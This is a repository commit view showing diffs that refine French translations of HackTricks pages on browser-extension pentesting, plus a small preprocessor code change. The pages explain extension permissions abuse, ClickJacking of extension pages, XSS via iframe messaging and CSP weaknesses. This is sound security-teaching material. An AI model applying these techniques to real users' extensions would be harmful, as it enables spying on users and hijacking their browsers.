maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/1911-pentesting-fox

Browse Source
This commit is contained in:
Translator 2025-01-03 03:06:50 +00:00
parent 19efb07ba7
commit 438cb65250
260 changed files with 1764 additions and 1745 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

1
book.toml
View File

@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]

20
hacktricks-preprocessor.py
View File

@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
# pass
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
pass
else:
try:
raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
match = re.search('<title>(.*?)</title>', raw_html)
title = match.group(1) if match else href
except Exception as e:
logger.debug(f'Error opening URL {href}: {e}')
pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")

42
src/pentesting-web/browser-extension-pentesting-methodology/README.md
View File

@ -35,7 +35,7 @@ De plus, les scripts de contenu sont séparés de leurs pages web associées en
## **`manifest.json`**
Une extension Chrome est simplement un dossier ZIP avec une [.crx file extension](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la mise en page, les autorisations et d'autres options de configuration.
Une extension Chrome est simplement un dossier ZIP avec une [extension de fichier .crx](https://www.lifewire.com/crx-file-2620391). Le cœur de l'extension est le fichier **`manifest.json`** à la racine du dossier, qui spécifie la mise en page, les autorisations et d'autres options de configuration.
Exemple :
```json
@ -104,7 +104,7 @@ Une fois les outils de développement affichés, l'onglet **Source** doit être
### Scripts de contenu injectés
> [!TIP]
> Notez que **les scripts de contenu ne sont pas obligatoires** car il est également possible d'**injecter dynamiquement** des scripts et de les **injecter par programme** dans des pages web via **`tabs.executeScript`**. Cela offre en fait un contrôle **plus granulaire**.
> Notez que **les scripts de contenu ne sont pas obligatoires** car il est également possible de **dynamically** **injecter** des scripts et de **les injecter programatiquement** dans des pages web via **`tabs.executeScript`**. Cela offre en fait plus de **contrôles granulaires**.
Pour l'injection programmatique d'un script de contenu, l'extension doit avoir des [permissions d'hôte](https://developer.chrome.com/docs/extensions/reference/permissions) pour la page dans laquelle les scripts doivent être injectés. Ces permissions peuvent être sécurisées soit en **les demandant** dans le manifeste de l'extension, soit sur une base temporaire via [**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab).
@ -176,7 +176,7 @@ Le champ `run_at` contrôle **quand les fichiers JavaScript sont injectés dans
Les valeurs possibles sont :
- **`document_idle`** : Chaque fois que c'est possible
- **`document_start`** : Après tous les fichiers de `css`, mais avant que tout autre DOM soit construit ou qu'un autre script soit exécuté.
- **`document_start`** : Après tous les fichiers de `css`, mais avant que tout autre DOM soit construit ou que tout autre script soit exécuté.
- **`document_end`** : Immédiatement après que le DOM soit complet, mais avant que les sous-ressources comme les images et les cadres aient été chargées.
#### Via `manifest.json`
@ -250,7 +250,7 @@ Notez que ces pages ne sont pas persistantes comme les pages d'arrière-plan car
### `permissions` & `host_permissions`
**`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** l'extension de navigateur a (stockage, localisation...) et **sur quelles pages web**.
Les **`permissions`** et **`host_permissions`** sont des entrées du `manifest.json` qui indiqueront **quelles autorisations** l'extension de navigateur a (stockage, localisation...) et **sur quelles pages web**.
Comme les extensions de navigateur peuvent être si **privilégiées**, une extension malveillante ou compromise pourrait permettre à l'attaquant **différentes méthodes pour voler des informations sensibles et espionner l'utilisateur**.
@ -335,20 +335,20 @@ Selon les [**docs**](https://developer.chrome.com/docs/extensions/reference/mani
```
- S'il est spécifié comme vide : **`"externally_connectable": {}`**, aucune application ou site web ne pourra se connecter.
Le **moins d'extensions et d'URLs** indiqués ici, plus la **surface d'attaque** sera **petite**.
Le **moins d'extensions et d'URLs** indiqués ici, le **plus petit sera la surface d'attaque**.
> [!CAUTION]
> Si une page web **vulnérable à XSS ou takeover** est indiquée dans **`externally_connectable`**, un attaquant pourra **envoyer des messages directement au script d'arrière-plan**, contournant complètement le Content Script et son CSP.
>
> Par conséquent, c'est un **contournement très puissant**.
>
> De plus, si le client installe une extension malveillante, même si elle n'est pas autorisée à communiquer avec l'extension vulnérable, elle pourrait injecter **des données XSS dans une page web autorisée** ou abuser des API **`WebRequest`** ou **`DeclarativeNetRequest`** pour manipuler des requêtes sur un domaine ciblé en modifiant la requête d'une page pour un **fichier JavaScript**. (Notez que le CSP sur la page ciblée pourrait empêcher ces attaques). Cette idée vient [**de cet article**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
> De plus, si le client installe une extension malveillante, même si elle n'est pas autorisée à communiquer avec l'extension vulnérable, elle pourrait injecter **des données XSS dans une page web autorisée** ou abuser des API **`WebRequest`** ou **`DeclarativeNetRequest`** pour manipuler des requêtes sur un domaine ciblé en modifiant la requête d'une **fichier JavaScript**. (Notez que le CSP sur la page ciblée pourrait empêcher ces attaques). Cette idée vient [**de cet article**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability).
## Résumé de la communication
### Extension <--> WebApp
Pour communiquer entre le script de contenu et la page web, des messages postés sont généralement utilisés. Par conséquent, dans l'application web, vous trouverez généralement des appels à la fonction **`window.postMessage`** et dans le script de contenu des écouteurs comme **`window.addEventListener`**. Notez cependant que l'extension pourrait également **communiquer avec l'application web en envoyant un Post Message** (et donc le web devrait s'y attendre) ou simplement faire charger un nouveau script par le web.
Pour communiquer entre le script de contenu et la page web, des messages post sont généralement utilisés. Par conséquent, dans l'application web, vous trouverez généralement des appels à la fonction **`window.postMessage`** et dans le script de contenu des écouteurs comme **`window.addEventListener`**. Notez cependant que l'extension pourrait également **communiquer avec l'application web en envoyant un Post Message** (et donc le web devrait s'y attendre) ou simplement faire charger un nouveau script par le web.
### À l'intérieur de l'extension
@ -401,7 +401,7 @@ Où il est nécessaire de mentionner l'**ID d'extension**.
### Messagerie Native
Il est possible pour les scripts d'arrière-plan de communiquer avec des binaires à l'intérieur du système, ce qui pourrait être **sujet à des vulnérabilités critiques telles que des RCE** si cette communication n'est pas correctement sécurisée. [More on this later](./#native-messaging).
Il est possible pour les scripts d'arrière-plan de communiquer avec des binaires à l'intérieur du système, ce qui pourrait être **sujet à des vulnérabilités critiques telles que des RCE** si cette communication n'est pas correctement sécurisée. [Plus à ce sujet plus tard](./#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@ -539,9 +539,9 @@ Les extensions de navigateur permettent également de communiquer avec **des bin
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
}
```
Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension du navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utiliser stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas avoir de caractère générique).
Où le `name` est la chaîne passée à [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) pour communiquer avec l'application depuis les scripts d'arrière-plan de l'extension du navigateur. Le `path` est le chemin vers le binaire, il n'y a qu'un seul `type` valide qui est stdio (utilisez stdin et stdout) et les `allowed_origins` indiquent les extensions qui peuvent y accéder (et ne peuvent pas avoir de caractère générique).
Chrome/Chromium recherchera ce json dans certains registres Windows et certains chemins dans macOS et Linux (plus d'infos dans les [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
Chrome/Chromium recherchera ce json dans certains registres Windows et certains chemins sous macOS et Linux (plus d'infos dans les [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> L'extension du navigateur a également besoin de la permission `nativeMessaing` déclarée pour pouvoir utiliser cette communication.
@ -573,7 +573,7 @@ Par conséquent, la mémoire de l'extension de navigateur **ne doit pas être co
Bien sûr, ne **mettez pas d'informations sensibles dans le code**, car cela sera **public**.
Pour dumper la mémoire du navigateur, vous pourriez **dumper la mémoire du processus** ou aller dans les **paramètres** de l'extension de navigateur, cliquer sur **`Inspect pop-up`** -> Dans la section **`Memory`** -> **`Take a snapshot`** et **`CTRL+F`** pour rechercher des informations sensibles dans l'instantané.
Pour dumper la mémoire du navigateur, vous pourriez **dumper la mémoire du processus** ou aller dans les **paramètres** de l'extension de navigateur, cliquer sur **`Inspect pop-up`** -> Dans la section **`Memory`** -> **`Take a snapshot`** et **`CTRL+F`** pour rechercher dans le snapshot des informations sensibles.
De plus, des informations hautement sensibles comme des clés mnémotechniques ou des mots de passe **ne devraient pas être autorisées à être copiées dans le presse-papiers** (ou au moins les retirer du presse-papiers dans quelques secondes) car alors les processus surveillant le presse-papiers pourront les obtenir.
@ -583,7 +583,7 @@ De plus, des informations hautement sensibles comme des clés mnémotechniques o
2. Allez à **`chrome://extensions/`** et **activez** le `Mode Développeur`
3. Cliquez sur le bouton **`Load unpacked`**
Dans **Firefox**, allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Load Temporary Add-on`**.
Dans **Firefox**, vous allez à **`about:debugging#/runtime/this-firefox`** et cliquez sur le bouton **`Load Temporary Add-on`**.
## Obtenir le code source depuis le store
@ -591,7 +591,7 @@ Le code source d'une extension Chrome peut être obtenu par divers moyens. Ci-de
### Télécharger l'Extension en tant que ZIP via la Ligne de Commande
Le code source d'une extension Chrome peut être téléchargé en tant que fichier ZIP en utilisant la ligne de commande. Cela implique d'utiliser `curl` pour récupérer le fichier ZIP à partir d'une URL spécifique, puis d'extraire le contenu du fichier ZIP dans un répertoire. Voici les étapes :
Le code source d'une extension Chrome peut être téléchargé sous forme de fichier ZIP en utilisant la ligne de commande. Cela implique d'utiliser `curl` pour récupérer le fichier ZIP à partir d'une URL spécifique, puis d'extraire le contenu du fichier ZIP dans un répertoire. Voici les étapes :
1. Remplacez `"extension_id"` par l'ID réel de l'extension.
2. Exécutez les commandes suivantes :
@ -644,13 +644,13 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
- [ ] **Limiter** autant que possible les **`host_permissions`**
- [ ] Utiliser une **politique de sécurité de contenu** **`content_security_policy`** **forte**
- [ ] **Limiter** autant que possible le **`externally_connectable`**, si aucun n'est nécessaire et possible, ne le laissez pas par défaut, spécifiez **`{}`**
- [ ] Si une **URL vulnérable à XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages aux scripts d'arrière-plan directement**. Contournement très puissant.
- [ ] Si une **URL vulnérable aux XSS ou à la prise de contrôle** est mentionnée ici, un attaquant pourra **envoyer des messages aux scripts d'arrière-plan directement**. Contournement très puissant.
- [ ] **Limiter** autant que possible les **`web_accessible_resources`**, même vides si possible.
- [ ] Si **`web_accessible_resources`** n'est pas nul, vérifiez pour [**ClickJacking**](browext-clickjacking.md)
- [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les vulnérabilités XSS**](browext-xss-example.md) causées dans la communication.
- [ ] Si des messages postaux sont utilisés, vérifiez les [**vulnérabilités de message postaux**](../postmessage-vulnerabilities/)**.**
- [ ] Si le **script de contenu accède aux détails du DOM**, vérifiez qu'ils **n'introduisent pas un XSS** s'ils sont **modifiés** par le web
- [ ] Mettez un accent particulier si cette communication est également impliquée dans la **communication Script de contenu -> script d'arrière-plan**
- [ ] Si une **communication** se produit de l'**extension** à la **page web**, [**vérifiez les XSS**](browext-xss-example.md) **vulnérabilités** causées dans la communication.
- [ ] Si des messages postaux sont utilisés, vérifiez pour [**les vulnérabilités de Post Message**](../postmessage-vulnerabilities/)**.**
- [ ] Si le **Content Script accède aux détails du DOM**, vérifiez qu'ils **n'introduisent pas un XSS** s'ils sont **modifiés** par le web
- [ ] Mettez un accent particulier si cette communication est également impliquée dans la **communication Content Script -> script d'arrière-plan**
- [ ] Si le script d'arrière-plan communique via **native messaging**, vérifiez que la communication est sécurisée et assainie
- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur du **code** de l'extension de navigateur
- [ ] **Les informations sensibles ne doivent pas être stockées** à l'intérieur de la **mémoire** de l'extension de navigateur
@ -664,9 +664,9 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Récupère n'importe quelle extension Chrome à partir d'un lien de webstore Chrome fourni.
- Récupère n'importe quelle extension Chrome à partir d'un lien de Chrome webstore fourni.
- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualiseur** : affiche simplement une version JSON formatée du manifeste de l'extension.
- **Analyse de l'empreinte digitale** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript d'empreinte digitale d'extension Chrome.
- **Analyse d'empreinte** : Détection des [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) et génération automatique de JavaScript d'empreinte d'extension Chrome.
- **Analyse potentielle de Clickjacking** : Détection des pages HTML d'extension avec la directive [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) définie. Celles-ci sont potentiellement vulnérables au clickjacking selon l'objectif des pages.
- **Visualiseur d'avertissement(s) de permission** : qui montre une liste de tous les avertissements de demande de permission Chrome qui seront affichés lorsqu'un utilisateur tentera d'installer l'extension.
- **Fonction(s) dangereuse(s)** : montre l'emplacement des fonctions dangereuses qui pourraient potentiellement être exploitées par un attaquant (par exemple, des fonctions telles que innerHTML, chrome.tabs.executeScript).
@ -681,7 +681,7 @@ Bien que les extensions de navigateur aient une **surface d'attaque limitée**,
- Si la ligne vulnérable se trouve dans un fichier JavaScript, les chemins de toutes les pages où elle est incluse ainsi que le type de ces pages, et le statut de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
- **Analyseur de politique de sécurité de contenu (CSP) et vérificateur de contournement** : Cela mettra en évidence les faiblesses de la CSP de votre extension et mettra également en lumière d'éventuelles façons de contourner votre CSP en raison de CDNs sur liste blanche, etc.
- **Bibliothèques vulnérables connues** : Cela utilise [Retire.js](https://retirejs.github.io/retire.js/) pour vérifier toute utilisation de bibliothèques JavaScript connues comme vulnérables.
- Télécharger l'extension et des versions formatées.
- Télécharger l'extension et les versions formatées.
- Télécharger l'extension originale.
- Télécharger une version beautifiée de l'extension (HTML et JavaScript automatiquement formatés).
- Mise en cache automatique des résultats de scan, exécuter un scan d'extension prendra un bon moment la première fois que vous l'exécutez. Cependant, la deuxième fois, à condition que l'extension n'ait pas été mise à jour, sera presque instantanée grâce aux résultats étant mis en cache.

6
src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md
View File

@ -13,7 +13,7 @@ Si vous ne savez pas ce qu'est le ClickJacking, consultez :
Les extensions contiennent le fichier **`manifest.json`** et ce fichier JSON a un champ `web_accessible_resources`. Voici ce que disent [les docs de Chrome](https://developer.chrome.com/extensions/manifest/web_accessible_resources) à ce sujet :
> Ces ressources seraient alors disponibles dans une page web via l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, qui peut être générée avec la **`extension.getURL method`**. Les ressources autorisées sont servies avec des en-têtes CORS appropriés, donc elles sont disponibles via des mécanismes comme XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
> Ces ressources seraient alors disponibles dans une page web via l'URL **`chrome-extension://[PACKAGE ID]/[PATH]`**, qui peut être générée avec la **`méthode extension.getURL`**. Les ressources autorisées sont servies avec des en-têtes CORS appropriés, donc elles sont disponibles via des mécanismes comme XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
Les **`web_accessible_resources`** dans une extension de navigateur ne sont pas seulement accessibles via le web ; elles fonctionnent également avec les privilèges inhérents de l'extension. Cela signifie qu'elles ont la capacité de :
@ -32,7 +32,7 @@ Dans l'extension PrivacyBadger, une vulnérabilité a été identifiée liée au
"icons/*"
]
```
Cette configuration a conduit à un problème de sécurité potentiel. Plus précisément, le fichier `skin/popup.html`, qui est rendu lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un `iframe`. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection PrivacyBadger et en soumettant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être vue dans un exemple vidéo de ClickJacking fourni à [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Cette configuration a conduit à un problème de sécurité potentiel. Plus précisément, le fichier `skin/popup.html`, qui est rendu lors de l'interaction avec l'icône PrivacyBadger dans le navigateur, pourrait être intégré dans un `iframe`. Cette intégration pourrait être exploitée pour tromper les utilisateurs en les incitant à cliquer involontairement sur "Désactiver PrivacyBadger pour ce site Web". Une telle action compromettrait la vie privée de l'utilisateur en désactivant la protection PrivacyBadger et en soumettant potentiellement l'utilisateur à un suivi accru. Une démonstration visuelle de cette exploitation peut être vue dans un exemple vidéo de ClickJacking fourni à [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Pour remédier à cette vulnérabilité, une solution simple a été mise en œuvre : la suppression de `/skin/*` de la liste des `web_accessible_resources`. Ce changement a efficacement atténué le risque en veillant à ce que le contenu du répertoire `skin/` ne puisse pas être accessible ou manipulé via des ressources accessibles sur le web.
@ -83,7 +83,7 @@ Un [**article de blog sur un ClickJacking dans metamask peut être trouvé ici**
## Exemple Steam Inventory Helper
Vérifiez la page suivante pour voir comment un **XSS** dans une extension de navigateur a été enchaîné avec une vulnérabilité de **ClickJacking** :
Vérifiez la page suivante pour voir comment un **XSS** dans une extension de navigateur a été enchaîné avec une vulnérabilité **ClickJacking** :
{{#ref}}
browext-xss-example.md

16
src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
View File

@ -10,7 +10,7 @@ Les permissions sont définies dans le fichier **`manifest.json`** de l'extensio
Le manifeste précédent déclare que l'extension nécessite la permission `storage`. Cela signifie qu'elle peut utiliser [l'API de stockage](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) pour stocker ses données de manière persistante. Contrairement aux cookies ou aux APIs `localStorage` qui donnent aux utilisateurs un certain niveau de contrôle, **le stockage d'extension ne peut normalement être effacé qu'en désinstallant l'extension**.
Une extension demandera les permissions indiquées dans son fichier **`manifest.json`** et après l'installation de l'extension, vous pouvez **toujours vérifier ses permissions dans votre navigateur**, comme le montre cette image :
Une extension demandera les permissions indiquées dans son fichier **`manifest.json`** et après avoir installé l'extension, vous pouvez **toujours vérifier ses permissions dans votre navigateur**, comme le montre cette image :
<figure><img src="../../images/image (18).png" alt=""><figcaption></figcaption></figure>
@ -18,7 +18,7 @@ Vous pouvez trouver la [**liste complète des permissions qu'une extension de na
### `host_permissions`
Le paramètre optionnel mais puissant **`host_permissions`** indique avec quels hôtes l'extension pourra interagir via des APIs telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Le paramètre optionnel mais puissant **`host_permissions`** indique avec quels hôtes l'extension va pouvoir interagir via des APIs telles que [`cookies`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/cookies), [`webRequest`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/webRequest), et [`tabs`](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs).
Les `host_permissions` suivants permettent essentiellement à chaque web :
```json
@ -43,7 +43,7 @@ Ces hôtes sont ceux auxquels l'extension de navigateur peut accéder librement.
### Onglets
De plus, **`host_permissions`** déverrouille également la fonctionnalité "avancée" de l'[**API tabs**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**.
De plus, **`host_permissions`** déverrouille également la fonctionnalité "avancée" de l' [**API tabs**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs). Elles permettent à l'extension d'appeler [tabs.query()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/query) et non seulement d'obtenir une **liste des onglets du navigateur de l'utilisateur**, mais aussi de savoir quelle **page web (c'est-à-dire l'adresse et le titre) est chargée**.
> [!CAUTION]
> Non seulement cela, mais des écouteurs comme [**tabs.onUpdated**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/onUpdated) **deveniennent également beaucoup plus utiles**. Ceux-ci seront notifiés chaque fois qu'une nouvelle page se charge dans un onglet.
@ -59,9 +59,9 @@ Les deux API permettent d'exécuter non seulement des fichiers contenus dans les
### Privilèges implicites <a href="#implicit-privileges" id="implicit-privileges"></a>
Certains privilèges d'extension **n'ont pas besoin d'être déclarés explicitement**. Un exemple est l'[API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) : sa fonctionnalité de base est accessible sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez et fermez des onglets, elle ne saura simplement pas avec quel site web ces onglets correspondent.
Certains privilèges d'extension **n'ont pas besoin d'être déclarés explicitement**. Un exemple est l' [API tabs](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs) : sa fonctionnalité de base est accessible sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez et fermez des onglets, elle ne saura simplement pas à quel site web ces onglets correspondent.
Cela semble trop inoffensif ? L'[API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) qui peut être appelée par n'importe quel site web. Pourtant, alors que `window.open()` est soumis au **bloqueur de pop-ups, `tabs.create()` ne l'est pas**.
Cela semble trop inoffensif ? L' [API tabs.create()](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/create) l'est un peu moins. Elle peut être utilisée pour **créer un nouvel onglet**, essentiellement la même chose que [window.open()](https://developer.mozilla.org/en-US/docs/Web/API/Window/open) qui peut être appelée par n'importe quel site web. Pourtant, alors que `window.open()` est soumis au **bloqueur de pop-ups, `tabs.create()` ne l'est pas**.
> [!CAUTION]
> Une extension peut créer n'importe quel nombre d'onglets quand elle le souhaite.
@ -79,9 +79,9 @@ Vous savez probablement que les sites web peuvent demander des autorisations sp
Typiquement, une extension le fera immédiatement après son installation. Une fois cette invite acceptée, **l'accès à la webcam est possible à tout moment**, même si l'utilisateur n'interagit pas avec l'extension à ce moment-là. Oui, un utilisateur n'acceptera cette invite que si l'extension a vraiment besoin d'accéder à la webcam. Mais après cela, il doit faire confiance à l'extension pour ne rien enregistrer secrètement.
Avec l'accès à [votre localisation géographique exacte](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ou [au contenu de votre presse-papiers](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), accorder la permission explicitement est totalement inutile. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'** [**entrée de permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont ensuite accordés implicitement lorsque l'extension est installée. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de mouvement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez quoi que ce soit.
Avec l'accès à [votre localisation géographique exacte](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation) ou [au contenu de votre presse-papiers](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard_API), accorder la permission explicitement est totalement inutile. **Une extension ajoute simplement `geolocation` ou `clipboard` à l'** [**entrée permissions**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **de son manifeste**. Ces privilèges d'accès sont ensuite accordés implicitement lorsque l'extension est installée. Ainsi, une extension malveillante ou compromise avec ces privilèges peut créer votre profil de mouvement ou surveiller votre presse-papiers pour des mots de passe copiés sans que vous ne remarquiez rien.
Ajouter le mot-clé **`history`** à l'[entrée de permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'historique de navigation complet de l'utilisateur d'un seul coup, sans attendre que l'utilisateur visite à nouveau ces sites web.
Ajouter le mot-clé **`history`** à l' [entrée permissions](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) du manifeste de l'extension accorde **l'accès à l'** [**API history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Cela permet de récupérer l'historique de navigation complet de l'utilisateur d'un seul coup, sans attendre que l'utilisateur visite à nouveau ces sites web.
La **permission `bookmarks`** a un potentiel d'abus similaire, celle-ci permet **de lire tous les signets via l'** [**API bookmarks**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
@ -99,7 +99,7 @@ Vous pouvez trouver la [**liste complète des permissions qu'une extension de na
La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire pour leur fonctionnalité, atténuant ainsi les demandes de permissions excessives. Un exemple où une extension de navigateur a dépassé cette limite impliquait sa distribution avec le navigateur lui-même plutôt que par le biais d'un magasin d'add-ons.
Les navigateurs pourraient également limiter davantage l'abus des privilèges d'extension. Par exemple, les [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisés pour l'enregistrement d'écran, sont conçus pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme en cliquant sur l'icône de l'extension, tandis que desktopCapture nécessite la confirmation de l'utilisateur pour que la fenêtre soit enregistrée, empêchant ainsi les activités d'enregistrement clandestin.
Les navigateurs pourraient également limiter davantage l'abus des privilèges d'extension. Par exemple, les API [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) et [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) de Chrome, utilisées pour l'enregistrement d'écran, sont conçues pour minimiser les abus. L'API tabCapture ne peut être activée que par une interaction directe de l'utilisateur, comme cliquer sur l'icône de l'extension, tandis que desktopCapture nécessite la confirmation de l'utilisateur pour que la fenêtre soit enregistrée, empêchant ainsi les activités d'enregistrement clandestin.
Cependant, le renforcement des mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La [permission activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) illustre ce compromis. Elle a été introduite pour éliminer la nécessité pour les extensions de demander des privilèges d'hôte sur l'ensemble d'Internet, permettant aux extensions d'accéder uniquement à l'onglet actuel sur activation explicite par l'utilisateur. Ce modèle est efficace pour les extensions nécessitant des actions initiées par l'utilisateur, mais est insuffisant pour celles nécessitant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate.

6
src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
View File

@ -4,7 +4,7 @@
## Cross-Site Scripting (XSS) via Iframe
Dans cette configuration, un **script de contenu** est mis en œuvre pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe :
Dans cette configuration, un **script de contenu** est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe :
```javascript
chrome.storage.local.get("message", (result) => {
let constructedURL =
@ -46,7 +46,7 @@ Une politique de sécurité du contenu trop permissive telle que :
```
permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS.
